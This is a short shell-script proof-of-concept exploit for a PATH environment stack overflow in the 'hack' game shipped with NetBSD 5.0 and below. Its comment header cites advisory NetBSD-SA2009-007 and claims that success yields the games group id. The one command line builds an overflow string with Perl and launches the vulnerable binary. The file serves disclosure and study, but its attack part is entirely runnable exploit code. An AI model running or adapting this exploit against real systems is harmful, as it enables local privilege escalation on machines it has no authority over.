19 lines
No EOL
790 B
Bash
Executable file
19 lines
No EOL
790 B
Bash
Executable file
#!/bin/sh
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# NetBSD 5.0 and below Hack PATH Environment overflow proof of concept
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# Successfull Exploitation gives guid 100 (games)
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# Vulnerable Function is in hack.unix.c
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# It is a basic strcpy stack overflow. Such overflows are hard to exploit in
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# NetBSD. If you can exploit it successfully feel free to contact me
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# Original Advisorie: NetBSD-SA2009-007
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# Title: hack rougelike game PATH stack overflow
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# Author: JMIT (office@johannesmaria.at)
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# Date: 18. May 2010
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# Software Link: Contained in all NetBSD Distributions as default
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# Version: NetBSD 5.0 and below
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# Tested on: NetBSD 5.0-RELEASE
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# CVE: Not available. See NetBSD-SA2009-007
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# Code:
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export PATH=`/usr/pkg/bin/perl -e 'printf("A"x1000);printf("\x41\xb0\xe5\xbf\xbf"x15);'`:/bin:/usr/bin:/usr/sbin:/sbin:/usr/games && hack |